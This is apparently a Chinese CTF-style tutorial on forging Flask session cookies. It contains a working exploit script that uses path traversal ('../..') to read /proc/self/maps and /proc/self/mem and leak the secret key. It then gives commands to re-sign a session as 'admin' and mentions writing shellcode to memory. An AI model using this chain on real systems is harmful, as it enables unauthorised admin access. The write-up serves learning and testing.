在python的Flask中Session是塞在Cookie里返回给客户端的,如果我们恶意生成一个session对身份伪造就可以达到欺骗服务器的目的
# coding: utf-8
from flask import Flask,session
app = Flask(__name__)
app.secret_key = "aaabbbccc"
def set_session():
if 'name' in session:
name = session['name']
if name == "Hehansen":
return "欢迎Hehansen"
if name == "admin":
return "欢迎admin"
else:
return "你是谁"
else:
session['name']="Hehansen"
return "session重新设置"
if __name__ == '__main__':
app.run(debug=False)
Session的值是json格式的Base64编码(eyJuYW1lIjoiYWRtaW4ifQ.ZQLhcg.ItJwvsUVS9fmbh5gm_XcAsTj220)
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数 据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
app.secret_key = “aaabbbccc”
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。
读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。网上一些介绍说该文件不可读,乍一看确实是这 样?
正确的姿势是结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取 内存内容。
同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步 时执行shellcode来拿shell。
通过app.py文件我们已知密钥的形式,存储的对象在app.config上,所以可以通过/proc/self/mem读取:
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
由于/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,所以先读取/proc/self/maps获取堆栈分布
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
然后读取/proc/self/mem,读取对应位置的内存数据,再使用正则表达式查找内容
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
if "*abcdefgh" in res.text:
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
import requests
import re
url='http://127.0.0.1:5000/'
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
脚本链接:https://gitcode.net/mirrors/noraj/flask-session-cookie-manager?utm_source=csdn_github_accelerator
解密:python flask_session_manager.py decode -c -s
#-c是flask cookie里的session值 -s参数是SECRET_KEY
python3 flask_session_cookie_manager3.py decode -s "aaabbbccc" -c "eyJuYW1lIjoiSGVoYW5zZW4ifQ.ZQK9lA.YiwR4DWCuUuWanDhXul2O8l83I4"
#{'name': 'Hehansen'}
加密:python flask_session_manager.py encode -s -t
#-s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
python3 flask_session_cookie_manager3.py encode -s "aaabbbccc" -t "{'name': 'admin'}"
#eyJuYW1lIjoiYWRtaW4ifQ.ZQLhcg.ItJwvsUVS9fmbh5gm_XcAsTj220
如果运行脚本时候出现
ImportError: cannot import name 'Markup' from 'jinja2' (G:\Anaconda\lib\site-packages\jinja2__init__.py)